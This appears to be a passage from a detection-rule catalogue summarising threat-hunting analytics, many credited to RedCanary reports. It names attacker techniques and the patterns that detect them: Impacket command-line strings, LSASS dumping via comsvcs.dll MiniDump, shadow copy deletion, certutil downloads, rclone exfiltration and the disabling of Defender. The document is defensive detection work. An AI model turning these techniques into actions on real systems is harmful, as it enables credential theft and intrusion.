Similar to the wmiexec.py detector logic, this detection analytic is looking for services.exe spawning cmd.exe with a command line that has the following strings: '/Q', '/c', 'echo',' > ', ' 2>&1'. These strings are unique to the execution of smbexec.py, which allows a semi-interactive shell used through SMB. This script functions similar to psexec.py, but does not write a service binary to disk on the target machine. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious Commands - WMI

Mar 26, 2024 · attack.execution attack.t1047 ·
Share on:

Looking for suspicious command-line parameters is another solid indicator of malice. Certain red team and post-exploitation frameworks will spawn unique and unsigned binaries or commands remotely using the well known process call create command, and we’ve got a couple different detection methods that have alerted us to related activity over the years. Potentially suspicious WMI command switches include create, node:, process, and call. Of course, the maliciousness of these commands are context-specific, and therefore, the following may require tuning or generate high volumes of false positives. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious Export Functionalities - Rundll32

Mar 26, 2024 · attack.defense_evasion attack.t1218 attack.t1218.011 attack.credential_access attack.t1003 ·
Share on:

Consider monitoring for instances of rundll32.exe running Windows native DLLs that have export functionalities that adversaries commonly leverage for executing malicious code and evading defensive controls. The following pseudo-analytic applies specifically to adversaries who use the MiniDump export functionality of comsvcs.dll to dump the contents of LSASS, but this logic could be adapted to detect other malicious activity as well. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious PowerShell Cmdlets

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.001 ·
Share on:

Many of our PowerShell detection analytics look for cmdlets, methods, and switches that may indicate malicious activity. The following analytic is by no means exhaustive but offers a few valuable examples of suspicious cmdlets and other oft-abused features to look out for. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious PowerShell Cmdlets - WMI

Mar 26, 2024 · attack.execution attack.t1047 attack.t1059 attack.t1059.001 ·
Share on:

There are numerous default PowerShell cmdlets that allow administrators to leverage WMI via PowerShell. Both adversaries and administrators use these cmdlets to query the operating system or execute commands, either locally or remotely. Cmdlets like Get-WMIObject are often used for reconnaissance. Part of the RedCanary 2024 Threat Detection Report.

Read More
Suspicious Process Lineage - WMI

Mar 26, 2024 · attack.execution attack.t1047 ·
Share on:

In general, trusted binaries and known administrative tools and processes will initiate WMI activity. As such, it makes sense to look for known bad processes launching WMI or deviations from the expected where a legitimate but unusual Windows binary spawns WMI—or spawns from it. The following is an amalgamation of several analytics that can detect a wide array of threats, ranging from red team activity to web shells to coinminers. Part of the RedCanary 2024 Threat Detection Report.

Read More
Systemd Loading a Linux Kernel Module Using insmod

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1547 attack.t1547.006 ·
Share on:

Detects the systemd process running commands that would load a Linux Kernel Modules. Part of the RedCanary 2024 Threat Detection Report.

Read More
Systemd Loading a Linux Kernel Module Using modprobe

Mar 26, 2024 · attack.persistence attack.privilege_escalation attack.t1547 attack.t1547.006 ·
Share on:

Detects the systemd process loading a Linux Kernel Modules using modprobe. Part of the RedCanary 2024 Threat Detection Report.

Read More
Unexpected Internal Process Name

Mar 26, 2024 · attack.defense_evasion attack.t1036 attack.t1036.003 ·
Share on:

Detects instances where the powershell process is renamed to notepad for defense evasion. Part of the RedCanary 2024 Threat Detection Report.

Read More
Unusual Module Loads - WMI

Mar 26, 2024 · attack.execution attack.t1047 ·
Share on:

By monitoring and detecting on module loads, you can catch a variety of different malicious activities, including defense evasion and credential theft. In cases where an adversary is using WMI for credential theft, consider looking for the execution of wmiprvse.exe (or its child processes) with unusual module loads like samlib.dll or vaultcli.dll. WMI is also a useful vehicle for bypassing application controls, and we commonly see adversaries—real and simulated–using a WMI bypass method called “SquibblyTwo.” The following pseudo-detection analytic is designed specifically to catch application control bypasses, but you can likely adapt it to detect other threats by substituting in a different DLL or by removing the command. Part of the RedCanary 2024 Threat Detection Report.

Read More
Unusual or Suspicious Process Ancestry - Command Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 ·
Share on:

We have a lot of detection analytics that seek out suspicious or unusual process lineage spawning or spawning from cmd.exe. Many of them don’t often generate confirmed threat detections but can occasionally raise the flag on important threats, like Exchange compromises. One semi-common pattern in our library of analytics is suspicious process interactions between the Windows IIS worker process (w3wp.exe) and the command shell. The following amalgamation of analytics might help you detect a diverse array of malicious activity related to web server compromises. Part of the RedCanary 2024 Threat Detection Report.

Read More
Web Browser Loading Extension

Mar 26, 2024 · attack.persistence attack.t1176 ·
Share on:

During execution, SmashJacker forced Google Chrome or Microsoft Edge to open with the command line argument --load-extension so a browser extension can install without user interaction. This analytic will likely uncover additional adware in an environment and may need tuning to take account for acceptable software installation. Part of the RedCanary 2024 Threat Detection Report.

Read More
Whoami Recon Writing Output to File

Mar 26, 2024 · attack.discovery attack.t1033 ·
Share on:

SocGholish employs several scripted reconnaissance commands. While much of this activity occurs in memory, one that stands out is the execution of whoami with the output redirected to a local temp file with the naming convention rad<5-hex-chars>.tmp. Part of the RedCanary 2024 Threat Detection Report.

Read More
Windows Explorer Spawning Command Shell with Start and Exit Commands

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.t1053 ·
Share on:

This detection analytic looks for instances of explorer.exe spawning cmd.exe along with corresponding start and exit commands that we commonly observe in conjunction with a wide variety of malicious activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
Windows Installer (msiexec.exe) Downloading and Executing Packages

Mar 26, 2024 · attack.defense_evasion attack.t1218 attack.t1218.007 ·
Share on:

To detect suspicious use of msiexec.exe by Raspberry Robin or other threats, it’s essential to take a look at the command line and the URL. Detecting msiexec.exe making outbound network connections to download and install packages in the command-line interface will give you the opportunity to examine the activity and determine if it’s malicious or not. Part of the RedCanary 2024 Threat Detection Report.

Read More
Windows Scheduled Task Creating Shell

Mar 26, 2024 · attack.execution attack.t1059 attack.t1059.003 attack.t1053 ·
Share on:

Adversaries frequently establish persistence by using scheduled tasks to launch the Windows Command Shell. Detecting this behavior is relatively straightforward. Part of the RedCanary 2024 Threat Detection Report.

Read More
WMI Reconnaissance

Mar 26, 2024 · attack.execution attack.t1047 attack.discovery attack.t1087 attack.t1087.002 ·
Share on:

Reconnaissance is harder to detect because it looks very similar to normal admin behavior. Even so, we detect a relatively high volume of adversaries leveraging WMI to quickly gather domain information such as users, groups, or computers in the domain. The following may help you detect related activity. Part of the RedCanary 2024 Threat Detection Report.

Read More
WMI Shadow Copy Deletion

Mar 26, 2024 · attack.execution attack.t1047 attack.impact attack.t1490 ·
Share on:

It’s not uncommon for ransomware operators to leverage WMI to delete volume shadows, significantly complicating the process for recovering access to encrypted systems and files. If you want to detect ransomware using WMI to delete shadow copies, consider looking for wmic.exe execution with command lines including shadowcopy or delete. Part of the RedCanary 2024 Threat Detection Report.

Read More
Wmiexec.py Execution

Mar 26, 2024 · attack.s0357 attack.execution attack.t1047 attack.lateral_movement attack.t1021 attack.t1021.003 ·
Share on:

This detection analytic looks for wmiprvse.exe spawn cmd.exe with the following command line, cmd.exe /Q /c ', ' 1 \\', ' 2 &1. These strings are specific to the execution of wmiexe.py, which allows a semi-interactive shell used via WMI. Part of the RedCanary 2024 Threat Detection Report.

Read More
WScript Spawned from a Browser Making External Network Connections

Mar 26, 2024 · attack.initial_access attack.t1189 ·
Share on:

While JavaScript is everywhere on the web, it is rather unusual for the browser to download a JavaScript file and execute it via the Windows Script Host (wscript.exe). When this downloaded script starts communicating with devices outside of your network, things get even more suspicious. That said, this detection analytic may be noisy in some environments, so be prepared to identify what scripts are normally run in this way to tune out the noise. Part of the RedCanary 2024 Threat Detection Report.

Read More
ZIP File Spawning JavaScript

Mar 26, 2024 · attack.defense_evasion attack.t1027 ·
Share on:

RedCanary detected high volumes of obfuscation this year looking for apparent phishing schemes where adversaries conceal JavaScript payloads in ZIP files and write them to the users and temp directories. Part of the RedCanary 2024 Threat Detection Report.

Read More
Disable power options

Mar 11, 2024 ·
Share on:

Disable power options

Read More
Stop EventLog

Mar 11, 2024 ·
Share on:

Stop EventLog

Read More
Uninstall MRT(Malicious Software Removal Tool)

Mar 11, 2024 ·
Share on:

Uninstall MRT(Malicious Software Removal Tool)

Read More
Disable Windows Defender via Service

Feb 26, 2024 · attack.execution attack.t1569.002 attack.t1562.001 dist.public ·
Share on:

Detects Windows Defender disabling service installation

Read More
JavaScript Execution Using MSDOS 8.3 File Notation

Feb 26, 2024 · attack.defense_evasion attack.t1059 dist.public ·
Share on:

Detects script execution using MSDOS 8.3 File names

Read More
AdFind Discovery

Feb 23, 2024 · attack.discovery attack.t1018 attack.t1482 attack.t1069.002 attack.t1087.002 attack.s0552 ·
Share on:

AdFind has been seen in numerous intrusions. The threat actor(s) ran these commands.

Read More
AteraAgent malicious installations

Feb 23, 2024 · attack.execution attack.t1059.006 ·
Share on:

Detects potentially malicious AteraAgent installations when the IntegratorLogin parameter is used to register a non-business email.

Read More
Custom Cobalt Strike Command Execution

Feb 23, 2024 · attack.defense_evasion attack.t1562.001 attack.execution attack.t1059.001 ·
Share on:

Detects the execution of a specific OneLiner to Invoke PowerShell commands.

Read More
Deleting Windows Defender scheduled tasks

Feb 23, 2024 · attack.defense_evasion attack.t1562.001 ·
Share on:

Detects the deletion of scheduled tasks related to Windows Defender.

Read More
DNS Query for Ufile.io Upload Domain

Feb 23, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries for subdomains used for upload to ufile.io

Read More
Exchange Webshell creation

Feb 23, 2024 · attack.t1505.003 attack.persistence attack.t1190 attack.initial_access ·
Share on:

These commands were used to create a webshell by exploiting ProxyShell vulnerabilities

Read More
Execution of ZeroLogon PoC executable

Feb 23, 2024 · attack.execution attack.lateral_movement attack.t1210 ·
Share on:

Detects the execution of the commonly used ZeroLogon PoC executable.

Read More
FlawedGrace spawning threat injection target

Feb 23, 2024 · attack.defense_evasion attack.t1055 dist.public ·
Share on:

Detecting the command FlawedGrace is using for the purpose of injecting into it the spawned process, in this case the cmd.exe process.

Read More
Hiding local user accounts

Feb 23, 2024 · attack.t1564.002 attack.defense_evasion ·
Share on:

Detects the use reg.exe to hide users from listed in the logon screen. This is possible by changing the registry key value to 0 for a specific user.

Read More
Invoke-ShareFinder Discovery Activity

Feb 23, 2024 · attack.discovery attack.t1135 ·
Share on:

Use of Invoke-ShareFinder detected via PowerShell logging

Read More
Invoke-ShareFinder Discovery Activity

Feb 23, 2024 · attack.discovery attack.t1135 ·
Share on:

Use of Invoke-ShareFinder detected via PowerShell Script Block logging

Read More
Lazagne dumping credentials

Feb 23, 2024 · attack.credential_access attack.t1555 ·
Share on:

Detects the use of lazagne using command line execution.

Read More
List remote processes using tasklist

Feb 23, 2024 · attack.discovery attack.t1057 dist.public ·
Share on:

Detecting the use of tasklist to display processes of remote hosts using the /S parameter.

Read More
Nullsoft Scriptable Installer Script (NSIS) execution

Feb 23, 2024 · attack.execution attack.t1106 dist.public ·
Share on:

Detects the loading of the NSIS System plugin library, indicative of an NSIS script execution.

Read More
Nullsoft Scriptable Installer Script (NSIS) file creation

Feb 23, 2024 · attack.execution attack.t1106 dist.public ·
Share on:

Detects the creation of the NSIS System plugin library, indicative of an NSIS script execution.

Read More
Operator Bring Your Own Tools

Feb 23, 2024 · attack.command_and_control attack.t1105 ·
Share on:

Detects use of custom scripts i.e. BAT files.

Read More
Potential Qbot SMB DLL Lateral Movement

Feb 23, 2024 · attack.lateral_movement attack.t1570 ·
Share on:

Detection of potential us of SMB to transfer DLL's into the C$ folder of hosts unique to Qbot malware for purposes of lateral movement.

Read More
QBot process creation from scheduled task REGSVR32 (regsvr32.exe), -s flag and SYSTEM in the command line

Feb 23, 2024 · attack.persistence attack.privilege_escalation attack.t1053.005 ·
Share on:

Detects the process creation from Scheduled Task with REGSVR32 (regsvr32.exe), -s flag and SYSTEM in the command line

Read More
QBot scheduled task REGSVR32 with C$ image path

Feb 23, 2024 · attack.persistence attack.privilege_escalation attack.t1053.005 ·
Share on:

Detects the creation of Scheduled Task with REGSVR32 (regsvr32.exe) and C$ in the image path field

Read More
Rclone SMB Share Exfiltration

Feb 23, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detection of a exfiltration activity using rclone from Windows network shares using SMB.

Read More
Registry Query for WDigest

Feb 23, 2024 · attack.discovery attack.t1012 ·
Share on:

Rule to detect discovery activity for WDigest registry settings

Read More
SSH over port 443 with known Server and Client Strings

Feb 23, 2024 · attack.command_and_control attack.t1572 ·
Share on:

Will detect the presence of known SSH client and SSH server strings that have been used for SSH tunneling.

Read More
Uninstall Windows Feature - Defender

Feb 23, 2024 · attack.t1562.001 ·
Share on:

Detects use of Windows Uninstall defender feature

Read More
Viewing remote directories

Feb 23, 2024 · attack.discovery attack.t1083 dist.public ·
Share on:

Detecting the use of dir command to inspect directories on the remote host.

Read More
WinEvent Security Query

Feb 23, 2024 · attack.t1033 ·
Share on:

Detects querying of Windows Security log for account activity

Read More
Enable WDigest using PowerShell

Feb 22, 2024 · attack.defense_evasion attack.t1112 ·
Share on:

Rule to detect registry modifications to enable WDigest using powershell over the commandline.

Read More
Enabling RDP service via reg.exe command execution

Feb 22, 2024 · attack.defense_evasion attack.lateral_movement attack.t1021.001 attack.t1112 ·
Share on:

Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host

Read More
Enabling restricted admin mode

Feb 22, 2024 · attack.defense_evasion attack.t1562.001 ·
Share on:

Detects the registry modification to enable restricted admin mode using reg.exe

Read More
Suspicious Scheduled Task Creation to execute LOLbins

Feb 22, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Detects command line creation of scheduled tasks using commomly abused LOLbins.

Read More
Dot net compiler compiles file from suspicious location

Feb 5, 2024 ·
Share on:

Dot net compiler compiles file from suspicious location

Read More
NetScan Share Enumeration Write Access Check

Jan 29, 2024 · attack.discovery attack.t1135 dist.public ·
Share on:

Detects the creation of unique artifacts created by SoftPerfect NetScan when performing write-access checking on enumerated network shares

Read More
Access payload via nslookup txt record

Dec 14, 2023 ·
Share on:

Access payload via nslookup txt record

Read More
Conhost Suspicious Command Execution

Nov 1, 2023 · attack.defense_evasion attack.t1564.003 dist.public ·
Share on:

Detects use of conhost in "headless" mode. By running conhost.exe in "headless" mode, it means that no visible window will pop up on the victim's machine.

Read More
Adding, Listing and Removing Credentials via Cmdkey CommandLine Ultility

Oct 30, 2023 · attack.credential_access attack.t1003.005 ·
Share on:

Detects the use of cmdkey to add, remove, or list credentials.

Read More
NIM Pass The Hash Tooling Detection

Oct 30, 2023 · attack.t1136 ·
Share on:

Detection of NIM Tooling that Creates a Remote User (pth_createusers.exe) and Adds them to Local Admins group (pth_addadmin.exe)

Read More
DarkGate

Oct 26, 2023 ·
Share on:

DarkGate Downloader

Read More
Domain User Enumeration Network Recon 01

Oct 18, 2023 · attack.discovery attack.t1087.002 attack.t1082 ·
Share on:

Domain user and group enumeration via network reconnaissance. Seen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller. The rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29

Read More
Autoit3.exe Executable File Creation Matching DarkGate Behavior

Oct 14, 2023 · attack.command_and_control attack.execution attack.t1105 attack.t1059 ·
Share on:

Detects the usage of curl.exe, KeyScramblerLogon, or other non-standard/suspicious processes used to create Autoit3.exe. This activity has been associated with DarkGate malware, which uses Autoit3.exe to execute shellcode that performs process injection and connects to the DarkGate command-and-control server. Curl, KeyScramblerLogon, and these other processes consitute non-standard and suspicious ways to retrieve the Autoit3 executable.

Read More
DarkGate Autoit3.exe Execution Parameters

Oct 14, 2023 · attack.execution attack.t1059 ·
Share on:

Detects execution of the legitimate Autoit3 utility from a suspect parent process. AutoIt3.exe is used within the DarkGate infection chain to execute shellcode that performs process injection and connects to the DarkGate command-and-control server.

Read More
Malicious QakBot Dropped File Creation (Event 4663)

Sep 1, 2023 · attack.initial_access attack.defense_evasion attack.t1566 attack.t1027 attack.t1553 ·
Share on:

Detects creation of files potentially associated with QakBot initial infection, documented by Adithya Chandra and Sushant Kumar Arya of Trellix in August 2022.

Read More
Network Connections Where There Should Not Be (Notepad)

Sep 1, 2023 · attack.privilege_escalation attack.t1055 ·
Share on:

Looks for network connections from notepad. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Possible Impacket DCOMExec Connection Attempt - Zeek

Sep 1, 2023 · attack.s0357 attack.execution attack.lateral_movement attack.t1021 attack.t1021.003 ·
Share on:

Detects attempts to connect via DCOM Endpoints, as used by Impacket DCOMExec. This event will occur on successful or unsuccessful attempts using any of the three DCOMExec -object options.

Read More
Possible Impacket Secretsdump.py Activity

Sep 1, 2023 · attack.s0357 attack.credential_access attack.t1003 attack.t1003.003 attack.t1003.006 ·
Share on:

Detects attempts to retrieve/dump credentials using the DL_DRSGetNCChanges() method.

Read More
Shrpubw Execution from Unexpected File Path

Sep 1, 2023 · attack.persistence attack.t1574 attack.t1574.001 ·
Share on:

Looks for the execution of svchost without the normal -k parameter. Inspired by the 2022 Red Canary Threat Detection report.

Read More
Suspicious 'Admin' Local User Creation with Net Command

Sep 1, 2023 · attack.persistence attack.privilege_escalation attack.t1136.001 attack.t1136 attack.t1078 attack.t1078.003 ·
Share on:

Detects creation of a local user account using the net command with 'Admin' in the name - this technique is used by Vice Society ransomware gang to create bogus user accounts that attempt to blend in with an administrative user account naming convention.

Read More
Suspicious BlackCat-Related Exfiltration Command

Sep 1, 2023 · attack.exfiltration attack.t1020 attack.t1537 ·
Share on:

Detects process execution of RClone or similar tools used by ransomware operators to exfiltrate data.

Read More
Suspicious Calc Child Process

Sep 1, 2023 · attack.defense_evasion attack.t1218 ·
Share on:

Detects the suspicious child process of calc

Read More
Suspicious Command Arguments from Explorer or Wermgr

Sep 1, 2023 · attack.discovery attack.t1082 ·
Share on:

Detects the suspicious command line arguments from potentially-injected versions of explorer or wermgr processes.

Read More
Suspicious Process Injection to Explorer

Sep 1, 2023 · attack.defense_evasion attack.t1218 ·
Share on:

Detects the suspicious child process of regsvr32

Read More
Powershell download and load assembly

Aug 23, 2023 ·
Share on:

Detect powershell download and load assembly

Read More
Xmrig

Aug 8, 2023 ·
Share on:

Detect Xmrig

Read More
Suspicious WebDAV LNK Execution

Aug 5, 2023 · attack.execution attack.t1059.001 attack.t1204 ·
Share on:

Detects possible execution via LNK file accessed on a WebDAV server.

Read More
Search-ms and WebDAV Indicators in URL

Aug 5, 2023 · attack.initial_access attack.t1584 attack.t1566 ·
Share on:

Detects URL pattern used by search(-ms)/WebDAV initial access campaign.

Read More
WebDAV Temporary Local File Creation

Aug 5, 2023 · attack.initial_access attack.t1584 attack.t1566 ·
Share on:

Detects the creation of WebDAV temporary files with suspicious extensions

Read More
Powershell download and execute file

Jul 21, 2023 ·
Share on:

powershell download file from internet and execute

Read More
Register Jar In Run Key

Jun 21, 2023 ·
Share on:

register jar in run key

Read More
QBot rundll32.exe Non-standard File Proxy Execution (RedCanary Threat Detection Report)

Jun 2, 2023 · attack.s0650 ·
Share on:

Detects Rundll32.exe process creations with non-standard file types denoted by excluding the common file types from the command-=line selection. Part of the RedCanary 2023 Threat Detection Report.

Read More
Set custom UserAgent and download file via Powershell

May 30, 2023 ·
Share on:

Set Custom UserAgent and download file via Powershell

Read More
BITSAdmin Downloading Malicious Binaries (RedCanary Threat Detection Report)

May 17, 2023 · attack.command_and_control attack.t1105 ·
Share on:

Detects attempts to bypass security controls using bitsadmin.exe to download malicious code. Part of the RedCanary 2023 Threat Detection Report.

Read More
Certutil Downloading Malicious Binaries (RedCanary Threat Detection Report)

May 17, 2023 · attack.command_and_control attack.t1105 ·
Share on:

Detects attempts to bypass security controls using certutil.exe to download malicious code. Part of the RedCanary 2023 Threat Detection Report.

Read More
Emotet: Regsvr32 Execution from Microsoft Excel (RedCanary Threat Detection Report)

May 17, 2023 · attack.s0367 ·
Share on:

Detects Regsvr32 execution from Excel, a technique associated with Emotet. Part of the RedCanary 2023 Threat Detection Report.

Read More
Gootloader JavaScript Execution in AppData Folder (RedCanary Threat Detection Report)

May 17, 2023 · attack.defense_evasion attack.t1036 ·
Share on:

Detects execution of JavaScript (.js) files located in the AppData folder. Part of the RedCanary 2023 Threat Detection Report.

Read More
Impacket SMBexec.py Execution (RedCanary Threat Detection Report)

May 17, 2023 · attack.s0357 ·
Share on:

Detects execution from Impacket's smbexec.py. Part of the RedCanary 2023 Threat Detection Report.

Read More
Impacket WMIExec.py Execution (RedCanary Threat Detection Report)

May 17, 2023 · attack.s0357 ·
Share on:

Detects execution from Impacket's wmiexec.py. Part of the RedCanary 2023 Threat Detection Report.

Read More
Abnormal LSASS Child and Parent Process Relationships (RedCanary Threat Detection Report)

May 10, 2023 · attack.credential_access attack.t1003.001 ·
Share on:

Detects potential LSASS abuse based on unusual parent-child process lineage patterns. Part of the RedCanary 2023 Threat Detection Report.

Read More
Abnormal LSASS Process Access and Injection (RedCanary Threat Detection Report)

May 10, 2023 · attack.credential_access attack.t1003.001 ·
Share on:

Detects suspicious cross-process events where LSASS is accessed. Part of the RedCanary 2023 Threat Detection Report.

Read More
AdSearch Reg Runkey Persistence Execution (RedCanary Threat Detection Report)

May 10, 2023 · attack.persistence attack.t1547.001 ·
Share on:

Detects registry modifications to CurrentVersion\Run key, associated with AdSearch. Part of the RedCanary 2023 Threat Detection Report.

Read More
AdSearch Startup Folder Persistence File Creation (RedCanary Threat Detection Report)

May 10, 2023 · attack.persistence attack.t1547.001 ·
Share on:

Detects file creations by cscript in the startup folder, associated with AdSearch. Part of the RedCanary 2023 Threat Detection Report.

Read More
Cobalt Strike Beacon Getsystem Pattern (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0154 ·
Share on:

Detects command line pattern indicating the use of Cobalt Strike GetSystem feature. Part of the RedCanary 2023 Threat Detection Report.

Read More
Cobalt Strike Beacon Implant Command Issued via Named Pipe (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0154 ·
Share on:

Detects named pipe creation indicating Cobalt Strike beacon implant issuing commands via SMB named pipe. Part of the RedCanary 2023 Threat Detection Report.

Read More
Cobalt Strike UAC Bypass Using SQL Server Client Configuration Utility (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0154 ·
Share on:

Detects a possible Cobalt Strike UAC bypass attempt using cliconfg.exe, the SQL Server Client Configuration Utility. Part of the RedCanary 2023 Threat Detection Report.

Read More
Command Shell Bypassing Security Controls (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects command line strings which indicate potential attempts to bypass controls. Part of the RedCanary 2023 Threat Detection Report.

Read More
Command Shell Obfuscated Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects command line strings with high numbers of suspicious characters, potentially for obfuscation. Part of the RedCanary 2023 Threat Detection Report.

Read More
Command Shell Suspicious Process Ancestry (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects IIS worker process spawning command shell. Part of the RedCanary 2023 Threat Detection Report.

Read More
Common BloodHound Command-Line Options (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0521 ·
Share on:

Detects common BloodHound parameters in command line strings. Part of the RedCanary 2023 Threat Detection Report.

Read More
Default Impacket Service Creation Via Registry Keys (RedCanary Threat Detection Report)

May 10, 2023 · attack.lateral_movement attack.t1021.002 ·
Share on:

Detects registry key creation matching default Impacket default naming convention. Part of the RedCanary 2023 Threat Detection Report.

Read More
Explorer Spawning CMD With Start/Exit Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
Share on:

Detects instances of explorer.exe spawning cmd.exe along with corresponding start and exit commands that we commonly observe in conjunction with a wide variety of malicious activity. Part of the RedCanary 2023 Threat Detection Report.

Read More
File Writes Within Admin Shares (RedCanary Threat Detection Report)

May 10, 2023 · attack.lateral_movement attack.t1021.002 ·
Share on:

Detects files written to an Admin Share. Part of the RedCanary 2023 Threat Detection Report.

Read More
Find Binary Searching for Executables with Setuid or Setguid Bit (RedCanary Threat Detection Report)

May 10, 2023 · attack.privilege_escalation attack.t1548.001 ·
Share on:

Detects search for setuid or setgid binaries. This rule looks specifically for execution of the find binary searching for executables with the setuid or setgid bit set. Part of the RedCanary 2023 Threat Detection Report.

Read More
Impacket Atexec.py Execution (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0357 ·
Share on:

Detects execution from Impacket's atexec.py. Part of the RedCanary 2023 Threat Detection Report.

Read More
ISO File Write to Suspicious Folder (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1553.005 ·
Share on:

Detects files written to user downloads folder or appdata folder, associated with Mark-of-the-Web Bypass. Part of the RedCanary 2023 Threat Detection Report.

Read More
LSASS Running Under Non-Privileged User Context (RedCanary Threat Detection Report)

May 10, 2023 · attack.credential_access attack.t1003.001 ·
Share on:

Detects instances of LSASS running under any non-privileged user context, which can indicate abuse. Part of the RedCanary 2023 Threat Detection Report.

Read More
Mimikatz .kirbi File Creation (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0002 ·
Share on:

Detects .kirbi files created, commonly associated with Mimikatz. Part of the RedCanary 2023 Threat Detection Report.

Read More
Mimikatz Module Names in Command Line (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0002 ·
Share on:

Detects presence of common Mimikatz module names in command line strings. Part of the RedCanary 2023 Threat Detection Report.

Read More
Office Products Spawning WMI (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1047 ·
Share on:

Detects MS Office applications spawning WMI processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
PlugX DLL Search Order Hijacking Using Avast wsc_proxy (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0013 ·
Share on:

Detects possible DLL Search Order hijacking using Avast antivirus wsc_proxy application. This technique is associated with PlugX. Part of the RedCanary 2023 Threat Detection Report.

Read More
Possible Raspberry Robin DLL Download Using msiexec (RedCanary Threat Detection Report)

May 10, 2023 · attack.command_and_control attack.t1105 ·
Share on:

Detects msiexec used to download a potentially-malicious Raspberry Robin DLL. Part of the RedCanary 2023 Threat Detection Report.

Read More
Potential Gamarue DLL Filename (RedCanary Threat Detection Report)

May 10, 2023 · attack.privilege_escalation attack.t1055.001 ·
Share on:

Detects Gamarue DLL filename in command line strings. Part of the RedCanary 2023 Threat Detection Report.

Read More
Potential Homoglyph Attack Using Lookalike Characters

May 10, 2023 · attack.defense_evasion attack.t1036 attack.t1036.003 attack.t1036.008 ·
Share on:

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

Read More
Powershell Base64 Encoding (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of powershell.exe with base64 Option. Part of the RedCanary 2023 Threat Detection Report.

Read More
Powershell Encoded Command Switch (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects the execution of powershell.exe with command lines that include variations of the -encodedcommand argument. Part of the RedCanary 2023 Threat Detection Report.

Read More
Powershell Injecting Into Anything (RedCanary Threat Detection Report)

May 10, 2023 · attack.privilege_escalation attack.t1055 ·
Share on:

Detects instances of PowerShell accessing any other processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
Powershell Obfuscated Commands (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.001 ·
Share on:

Detects powershell command line strings with high numbers of suspicious characters, potentially for obfuscation. Part of the RedCanary 2023 Threat Detection Report.

Read More
Process Executing Sans Command Line (RedCanary Threat Detection Report)

May 10, 2023 · attack.privilege_escalation attack.t1055 ·
Share on:

Detects processes running without command lines, which can indicate process injection. Part of the RedCanary 2023 Threat Detection Report.

Read More
Process Execution from Admin Share (RedCanary Threat Detection Report)

May 10, 2023 · attack.lateral_movement attack.t1021.002 ·
Share on:

Detects processes executing from an Admin Share. Part of the RedCanary 2023 Threat Detection Report.

Read More
Processes Executing with Unusual Command Lines (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1036.003 ·
Share on:

Detects non-powershell.exe processes executing with command lines that are usually associated with powershell. This is an example for demonstration purposes only. Part of the RedCanary 2023 Threat Detection Report.

Read More
QBot Mounted Drive Execution (RedCanary Threat Detection Report)

May 10, 2023 · attack.s0650 ·
Share on:

Detects process creation from wscript or cscript interpreters with commands occuring on mounted drive letters. Defenders should check whether these processes have child processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
Rundll32 Application Bypass with DllRegisterServer Function (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1218.011 ·
Share on:

Detects the DllRegisterServer export function implemented with Rundll32. Part of the RedCanary 2023 Threat Detection Report.

Read More
Rundll32 Dumping Credentials with MiniDump Function (RedCanary Threat Detection Report)

May 10, 2023 · attack.credential_access attack.t1003.001 ·
Share on:

Detects processes that seem to be rundll32.exe along with a command line containing the term MiniDump. Part of the RedCanary 2023 Threat Detection Report.

Read More
Rundll32 Injection into LSASS (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1218.011 ·
Share on:

Detects instances where Rundll32 opens a cross process handle into LSASS to collect credentials. Part of the RedCanary 2023 Threat Detection Report.

Read More
Rundll32 Suspicious Process Lineage (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1218.011 ·
Share on:

Detects instances of Rundll32 being spawned by unusual or suspicious parent processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
Rundll32 Without a Command Line (RedCanary Threat Detection Report)

May 10, 2023 · attack.defense_evasion attack.t1218.011 ·
Share on:

Detects instances of Rundll32 without a command line spawning child processes. Part of the RedCanary 2023 Threat Detection Report.

Read More
Service Control Manager Spawning Command Shell (RedCanary Threat Detection Report)

May 10, 2023 · attack.execution attack.t1059.003 ·
